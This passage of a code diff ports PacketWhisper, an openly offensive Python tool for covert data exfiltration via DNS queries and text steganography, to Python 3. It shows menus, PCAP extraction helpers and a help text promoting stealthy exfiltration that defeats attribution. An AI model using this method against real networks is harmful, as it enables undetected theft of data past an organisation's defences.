cipher:", cipherFilePath - print "" + print("Extracting payload from PCAP using cipher:", cipherFilePath) + print("") # cipherTag is extra identifying information associated with an FQDN cipher. # Necessary in cases where there is a risk of duplicate substrings in the @@ -839,8 +839,8 @@ def ExtractCapturedPayload(): cipherTag = "" # isRandomized lets us track if the cipher is randomized and therefore - # for all practical purposes there will never be adjacent duplicate - # FQDNs in the PCAP file. This is a really simple way of identifying and + # for all practical purposes there will never be adjacent duplicate + # FQDNs in the PCAP file. This is a really simple way of identifying and # skipping duplicate DNS queries isRandomized = True @@ -863,23 +863,23 @@ def ExtractCapturedPayload(): # If it's a Common FQDN cipher, we have to use the embedded knock sequence - # to determine the correct source IP address amidst a possible sea of + # to determine the correct source IP address amidst a possible sea of # duplicate requests. New cipherTag will be the source IP address of the # knock sequence in pcap. if ( cipherTag == commonFQDNStr ): # DEBUG - print ### Common cipher branch + print() ### Common cipher branch cipherTag = GetSourceIPViaKnockSequence( dnsQueriesFilename ) if ( cipherTag == "" ): - print "" - print "!!! Error: Common FQDN cipher selected, but knock sequence not found" - print "!!! in PCAP file. Unable to determine which DNS queries are" - print "!!! from the PacketWhisper client." - print "" + print("") + print("!!! Error: Common FQDN cipher selected, but knock sequence not found") + print("!!! in PCAP file. Unable to determine which DNS queries are") + print("!!! from the PacketWhisper client.") + print("") return @@ -902,7 +902,7 @@ def ExtractCapturedPayload(): # Cloakifying and transmitting the payload, but for now those two workflows # do not share code. Will refactor for cleaner design in the next update. # -# In the meantime, having two different flows allows me to tailor the +# In the meantime, having two different flows allows me to tailor the # menu for better user context. # #======================================================================== @@ -913,34 +913,34 @@ def SelectCipherForExtraction(): cipherFilePath = "" notDone = 1 - while ( notDone ): + while ( notDone ): + + print("") + print("======= Select PacketWhisper Cipher Used For Transfer =======") + print("") + print("1) Random Subdomain FQDNs (example: d1z2mqljlzjs58.cloudfront.net)") + print("2) Unique Repeating FQDNs (example: John.Whorfin.yoyodyne.com)") + print("3) [DISABLED] Common Website FQDNs (example: www.youtube.com)") + print("") - print "" - print "======= Select PacketWhisper Cipher Used For Transfer =======" - print "" - print "1) Random Subdomain FQDNs (example: d1z2mqljlzjs58.cloudfront.net)" - print "2) Unique Repeating FQDNs (example: John.Whorfin.yoyodyne.com)" - print "3) [DISABLED] Common Website FQDNs (example: www.youtube.com)" - print "" - invalidSelection = 1 - + while ( invalidSelection ): try: - choice = int( raw_input( "Selection: " )) - + choice = int( input( "Selection: " )) + if choice == 3: - print "" - print "Temporarily Disabled: Common Website FQDNs" - print "Pardon the inconvenience it will be updated soon." - print "" + print("") + print("Temporarily Disabled: Common Website FQDNs") + print("Pardon the inconvenience it will be updated soon.") + print("") elif ( choice > 0 and choice < 4 ): invalidSelection = 0 else: - print selectionErrorMsg - + print(selectionErrorMsg) + except ValueError: - print selectionErrorMsg + print(selectionErrorMsg) if choice == 1: cipherNum = SelectCipher( gRandomSubdomainFQDNCipherFiles ) @@ -957,7 +957,7 @@ def SelectCipherForExtraction(): elif choice == 4: ModeHelp() else: - print selectionErrorMsg + print(selectionErrorMsg) return cipherFilePath @@ -967,12 +967,12 @@ def SelectCipherForExtraction(): # # GetSourceIPViaKnockSequence( dnsQueriesFile ) # -# Extracts the source IP address of the system that queried for the +# Extracts the source IP address of the system that queried for the # knock sequence. We then use that value as the cipher tag while # extracting Common FQDN ciphers from the PCAP file, since otherwise -# we'd have no idea how to tell the difference between all those other -# systems querying for common FQDNs. -# +# we'd have no idea how to tell the difference between all those other +# systems querying for common FQDNs. +# #======================================================================== def GetSourceIPViaKnockSequence( dnsQueriesFilename ): @@ -991,10 +991,10 @@ def GetSourceIPViaKnockSequence( dnsQueriesFilename ): queriesFile.close() except: - print "" - print "!!! Oh noes! Problem reading '", dnsQueriesFile, "'" - print "!!! Verify the location of the DNS queries file" - print "" + print("") + print("!!! Oh noes! Problem reading '", dnsQueriesFile, "'") + print("!!! Verify the location of the DNS queries file") + print("") return for dnsQuery in queries: @@ -1002,7 +1002,7 @@ def GetSourceIPViaKnockSequence( dnsQueriesFilename ): found = re.search(r"A\? " + knockSequenceStr + "?", dnsQuery) # Found the knock sequence in the DNS queries - # Extract and return the source IP address + # Extract and return the source IP address if found: @@ -1011,12 +1011,12 @@ def GetSourceIPViaKnockSequence( dnsQueriesFilename ): sourceIPAddrStr = ipAddr[ 0 ] + "." + ipAddr[ 1 ] + "." + ipAddr[ 2 ] + "." + ipAddr[ 3 ] # DEBUG - print dnsQuery - print sourceIPAddrStr + print(dnsQuery) + print(sourceIPAddrStr) # Generally not a fan of returns within loops, but here we are... return sourceIPAddrStr - + return sourceIPAddrStr @@ -1027,12 +1027,12 @@ def GetSourceIPViaKnockSequence( dnsQueriesFilename ): # # Straightforward call to Decloakify to restore the payload to its # original form. -# +# #======================================================================== def DecloakifyFile( cloakedFile, cipherFilePath ): - decloakedFile = raw_input( "Save decloaked data to filename (default: 'decloaked.file'): " ) + decloakedFile = input( "Save decloaked data to filename (default: 'decloaked.file'): " ) if decloakedFile == "": decloakedFile = "decloaked.file" @@ -1040,15 +1040,15 @@ def DecloakifyFile( cloakedFile, cipherFilePath ): try: decloakify.Decloakify( cloakedFile, cipherFilePath, decloakedFile ) - print "" - print "File '" + cloakedFile + "' decloaked and saved to '" + decloakedFile + "'" - print "" + print("") + print("File '" + cloakedFile + "' decloaked and saved to '" + decloakedFile + "'") + print("") except: - print "" - print "!!! Oh noes! Error decloaking file (did you select the same cipher it was cloaked with?)" - print "" + print("") + print("!!! Oh noes! Error decloaking file (did you select the same cipher it was cloaked with?)") + print("") - choice = raw_input("Press return to continue... ") + choice = input("Press return to continue... ") return @@ -1065,13 +1065,13 @@ def DecloakifyFile( cloakedFile, cipherFilePath ): #======================================================================== def TestDNSAccess(): - + defaultFQDNStr = "www.google.com" addr = "" - print "" - testFQDNStr = raw_input("Enter domain name / FQDN to query for (default=www.google.com): ") - print "" + print("") + testFQDNStr = input("Enter domain name / FQDN to query for (default=www.google.com): ") + print("") if testFQDNStr == "": testFQDNStr = defaultFQDNStr @@ -1082,12 +1082,12 @@ def TestDNSAccess(): os.system( commandStr ) except: - print "!!! Warning: Error while calling 'nslookup'" - print "" - print "!!! PacketWhisper transfer will likely fail." - print "" + print("!!! Warning: Error while calling 'nslookup'") + print("") + print("!!! PacketWhisper transfer will likely fail.") + print("") - choice = raw_input("Press return to continue... ") + choice = input("Press return to continue... ") #======================================================================== @@ -1095,37 +1095,37 @@ def TestDNSAccess(): # SelectCipher( cipherFiles ) # # Helper method to prompt the user to select from a list of available -# ciphers. +# ciphers. # #======================================================================== def SelectCipher( cipherFiles ): - print "" - print "Ciphers:" - print "" + print("") + print("Ciphers:") + print("") cipherCount = 1 for cipherName in cipherFiles: - print cipherCount, "-", cipherName + print(cipherCount, "-", cipherName) cipherCount = cipherCount + 1 - print "" + print("") selection = -1 while ( selection < 0 or selection > (cipherCount - 2)): try: - cipherNum = raw_input( "Enter cipher #: " ) + cipherNum = input( "Enter cipher #: " ) selection = int ( cipherNum ) - 1 - if ( cipherNum == "" or selection < 0 or selection > (cipherCount - 1)): - print "Invalid cipher number, try again..." + if ( cipherNum == "" or selection < 0 or selection > (cipherCount - 1)): + print("Invalid cipher number, try again...") selection = -1 - + except ValueError: - print "Invalid cipher number, try again..." - print "" + print("Invalid cipher number, try again...") + print("") return selection @@ -1143,95 +1143,95 @@ def Help(): PrintBanner() - print "" - print "" - print "===================== Using PacketWhisper =====================" - print "" - print "Project Home: https://github.com/TryCatchHCF/PacketWhisper" - print "" - print "Summary: Combines text-based steganography (via Cloakify) and DNS queries" - print "to exfiltrate / transfer data to any system that is able to capture a copy" - print "of the DNS queries along the DNS resolution path. Captured pcap can then be" - print "loaded into packetWhisper.py, which then extracts the encoded queries and" - print "restores (Decloakify) the payload." - print "" - print "Primary use cases are defeating attribution (no direct connection to an" - print "attacker-controlled destination is ever required) and stealthy exfiltration" - print "when all other services are unavailable." - print "" - print "Be sure to read the slide presentation (PDF) included with the project." - print "It will give you a good overview of the key concepts, as well as use" - print "cases, and issues / defender mitigations that may get in your way." - print "" - print "As a quick test, run PacketWhisper from a VM, then send a file while doing" - print "a packet capture on the VM's network interface via the host system. You can" - print "then load the PCAP file into whichever PacketWhisper instance is convenient" - print "to decode the file. Just remember it's not a speedy transfer. Smaller files" - print "and patience are your friend." - print "" - print "Description:" - print "" - print "Leverages Cloakify (https://github.com/TryCatchHCF/Cloakify) to turn any" - print "file type in a list of Fully Qualified Domain Names (FQDNs), selected from" - print "list of ciphers by the user." - print "" - print "PacketWhisper then generates seqential DNS queries for each FQDN, which" - print "propagates the DNS query along the DNS resolution path." - print "" - print "To capture the data, you just need visibility of the network traffic along" - print "the DNS resolution path, which can be as simple as a connected system" - print "capturing in promiscuous mode (wifi), IoT devices, or access to network" - print "appliances along the DNS query path, including external to the organization" - print "of origination." - print "" - print "The captured pcap file is then loaded into PacketWhisper on whatever system" - print "is convenient. It then parses the pcap file using the matching cipher used" - print "to encode during transmission. The ciphered data is extracted from the pcap" - print "and then Decloakified to restore the file to its original form." - print "" - print "===== NOTE: VPNs Will Prevent Access To DNS Queries =====" - print " " - print " If the transmitting system is using a VPN, then none of the DNS queries" - print " will be available unless your point of capture is upstream from the VPN" - print " exit node. That's obvious, but it also means if you're testing on your" - print " own system and running a VPN, you'll be capturing an empty PCAP file." - print " Always verify your PCAP capture settings and outputs." - print "" - print "===== NOTE: NOT A HIGH-BANDWIDTH TRANSFER METHOD =====" - print "" - print "Not a high-bandwidth transfer method. PacketWhisper relies on DNS queries," - print "which are UDP-based, meaning order of delivery (or even successful delivery)" - print "of the request is not guranteed. For this reason, PacketWhisper by default" - print "adds a small (half-second) delay between each DNS query. This will safely" - print "transfer payloads at a rate of about 7.2K per hour (120 bytes per minute)" - print "based on the size of the original payload, not the Cloakified output file." - print "" - print "You can opt for no delay between between queries, which dramatically speeds" - print "up the transfer but at the risk of increased network noise and corrupted payload." - print "" - print "If you have other datapaths available (HTTP outbound, etc.) then just use" - print "the Cloakify project (GitHub project URL above) and its standard ciphers," - print "transfer normally." - print "" - print "===== NOTE: NOT A SECURE ENCRYPTION SCHEME =====" - print "" - print "PacketWhisper is not a secure encryption scheme. It's vulnerable to" - print "frequency analysis attacks. Use the 'Unique Random Subdomain FQDNs'" - print "category of ciphers to add entropy and help degrade frequency analysis" - print "attacks. If payload secrecy is required, be sure to encrypt the payload" - print "before using PacketWhisper to process it." - print "" - print "===== NOTE: DNS IS DNS =====" - print "" - print "Different OS's have different DNS caching policies, etc. Networks may be" - print "down, isolated, etc. PacketWhisper includes a quick manual check to see if" - print "it can resolve common FQDNs, but DNS is often a messy business. Remember" - print "the old IT troubleshooting mantra: 'It's always DNS.'" + print("") + print("") + print("===================== Using PacketWhisper =====================") + print("") + print("Project Home: https://github.com/TryCatchHCF/PacketWhisper") + print("") + print("Summary: Combines text-based steganography (via Cloakify) and DNS queries") + print("to exfiltrate / transfer data to any system that is able to capture a copy") + print("of the DNS queries along the DNS resolution path. Captured pcap can then be") + print("loaded into packetWhisper.py, which then extracts the encoded queries and") + print("restores (Decloakify) the payload.") + print("") + print("Primary use cases are defeating attribution (no direct connection to an") + print("attacker-controlled destination is ever required) and stealthy exfiltration") + print("when all other services are unavailable.") + print("") + print("Be sure to read the slide presentation (PDF) included with the project.") + print("It will give you a good overview of the key concepts, as well as use") + print("cases, and issues / defender mitigations that may get in your way.") + print("") + print("As a quick test, run PacketWhisper from a VM, then send a file while doing") + print("a packet capture on the VM's network interface via the host system. You can") + print("then load the PCAP file into whichever PacketWhisper instance is convenient") + print("to decode the file. Just remember it's not a speedy transfer. Smaller files") + print("and patience are your friend.") + print("") + print("Description:") + print("") + print("Leverages Cloakify (https://github.com/TryCatchHCF/Cloakify) to turn any") + print("file type in a list of Fully Qualified Domain Names (FQDNs), selected from") + print("list of ciphers by the user.") + print("") + print("PacketWhisper then generates seqential DNS queries for each FQDN, which") + print("propagates the DNS query along the DNS resolution path.") + print("") + print("To capture the data, you just need visibility of the network traffic along") + print("the DNS resolution path, which can be as simple as a connected system") + print("capturing in promiscuous mode (wifi), IoT devices, or access to network") + print("appliances along the DNS query path, including external to the organization") + print("of origination.") + print("") + print("The captured pcap file is then loaded into PacketWhisper on whatever system") + print("is convenient. It then parses the pcap file using the matching cipher used") + print("to encode during transmission. The ciphered data is extracted from the pcap") + print("and then Decloakified to restore the file to its original form.") + print("") + print("===== NOTE: VPNs Will Prevent Access To DNS Queries =====") + print(" ") + print(" If the transmitting system is using a VPN, then none of the DNS queries") + print(" will be available unless your point of capture is upstream from the VPN") + print(" exit node. That's obvious, but it also means if you're testing on your") + print(" own system and running a VPN, you'll be capturing an empty PCAP file.") + print(" Always verify your PCAP capture settings and outputs.") + print("") + print("===== NOTE: NOT A HIGH-BANDWIDTH TRANSFER METHOD =====") + print("") + print("Not a high-bandwidth transfer method. PacketWhisper relies on DNS queries,") + print("which are UDP-based, meaning order of delivery (or even successful delivery)") + print("of the request is not guranteed. For this reason, PacketWhisper by default") + print("adds a small (half-second) delay between each DNS query. This will safely") + print("transfer payloads at a rate of about 7.2K per hour (120 bytes per minute)") + print("based on the size of the original payload, not the Cloakified output file.") + print("") + print("You can opt for no delay between between queries, which dramatically speeds") + print("up the transfer but at the risk of increased network noise and corrupted payload.") + print("") + print("If you have other datapaths available (HTTP outbound, etc.) then just use") + print("the Cloakify project (GitHub project URL above) and its standard ciphers,") + print("transfer normally.") + print("") + print("===== NOTE: NOT A SECURE ENCRYPTION SCHEME =====") + print("") + print("PacketWhisper is not a secure encryption scheme. It's vulnerable to") + print("frequency analysis attacks. Use the 'Unique Random Subdomain FQDNs'") + print("category of ciphers to add entropy and help degrade frequency analysis") + print("attacks. If payload secrecy is required, be sure to encrypt the payload") + print("before using PacketWhisper to process it.") + print("") + print("===== NOTE: DNS IS DNS =====") + print("") + print("Different OS's have different DNS caching policies, etc. Networks may be") + print("down, isolated, etc. PacketWhisper includes a quick manual check to see if") + print("it can resolve common FQDNs, but DNS is often a messy business. Remember") + print("the old IT troubleshooting mantra: 'It's always DNS.'") ModeHelp() return() - + #======================================================================== # @@ -1243,27 +1243,27 @@ def Help(): def PrintBanner(): - print " _____ _ ___ ___ _ " - print " | __ \ | | | \ \ / / | (_) " - print " | |__) |_ _ ___| | _____| |\ \ /\ / /| |__ _ ___ _ __ ___ _ __ " - print " | ___/ _` |/ __| |/ / _ \ __\ \/ \/ / | '_ \| / __| '_ \ / _ \ '__| " - print " | | | (_| | (__| < __/ |_ \ /\ / | | | | \__ \ |_) | __/ | " - print " |_| \__,_|\___|_|\_\___|\__| \/ \/ |_| |_|_|___/ .__/ \___|_| " - print " | | " - print " |_| " - print "" - print " Exfiltrate / Transfer Any Filetype in Plain Sight" - print " via " - print " Text-Based Steganograhy & DNS Queries" - print "\"SHHHHHHHHHH!\"" - print " \ Written by TryCatchHCF" - print " \ https://github.com/TryCatchHCF" - print " (\~---." - print " / (\-`-/)" - print " ( ' ' ) data.xls accounts.txt \\ Series of " - print " \ ( \_Y_/\\ device.cfg backup.zip --> harmless-looking " - print " \"\"\ \___// LoadMe.war file.doc / DNS queries " - print " `w \"" + print(" _____ _ ___ ___ _ ") + print(" | __ \ | | | \ \ / / | (_) ") + print(" | |__) |_ _ ___| | _____| |\ \ /\ / /| |__ _ ___ _ __ ___ _ __ ") + print(" | ___/ _` |/ __| |/ / _ \ __\ \/ \/ / | '_ \| / __| '_ \ / _ \ '__| ") + print(" | | | (_| | (__| < __/ |_ \ /\ / | | | | \__ \ |_) | __/ | ") + print(" |_| \__,_|\___|_|\_\___|\__| \/ \/ |_| |_|_|___/ .__/ \___|_| ") + print(" | | ") + print(" |_| ") + print("") + print(" Exfiltrate / Transfer Any Filetype in Plain Sight") + print(" via ") + print(" Text-Based Steganograhy & DNS Queries") + print("\"SHHHHHHHHHH!\"") + print(" \ Written by TryCatchHCF") + print(" \ https://github.com/TryCatchHCF") + print(" (\~---.") + print(" / (\-`-/)") + print(" ( ' ' ) data.xls accounts.txt \\ Series of ") + print(" \ ( \_Y_/\\ device.cfg backup.zip --> harmless-looking ") + print(" \"\"\ \___// LoadMe.war file.doc / DNS queries ") + print(" `w \"") return @@ -1281,32 +1281,32 @@ def MainMenu(): selectionErrorMsg = "1-5 are your options. Try again." notDone = 1 - while ( notDone ): - - print "" - print "==== PacketWhisper Main Menu ====" - print "" - print "1) Transmit File via DNS" - print "2) Extract File from PCAP" - print "3) Test DNS Access" - print "4) Help / About" - print "5) Exit" - print "" - + while ( notDone ): + + print("") + print("==== PacketWhisper Main Menu ====") + print("") + print("1) Transmit File via DNS") + print("2) Extract File from PCAP") + print("3) Test DNS Access") + print("4) Help / About") + print("5) Exit") + print("") + invalidSelection = 1 - + while ( invalidSelection ): try: - choice = int( raw_input( "Selection: " )) - + choice = int( input( "Selection: " )) + if ( choice > 0 and choice < 6 ): invalidSelection = 0 else: - print selectionErrorMsg - + print(selectionErrorMsg) + except ValueError: - print selectionErrorMsg - + print(selectionErrorMsg) + if choice == 1: CloakAndTransferFile() elif choice == 2: @@ -1318,15 +1318,15 @@ def MainMenu(): elif choice == 5: notDone = 0 else: - print selectionErrorMsg - + print(selectionErrorMsg) + # Wherever you are on this floating space orb we call home, I hope you are well byeArray = ("Bye!", "Ciao!", "Adios!", "Aloha!", "Hei hei!", "Bless bless!", "Hej da!", "Tschuss!", "Adieu!", "Cheers!") - print "" - print random.choice( byeArray ) - print "" + print("") + print(random.choice( byeArray )) + print("") # ============================== Main Loop ================================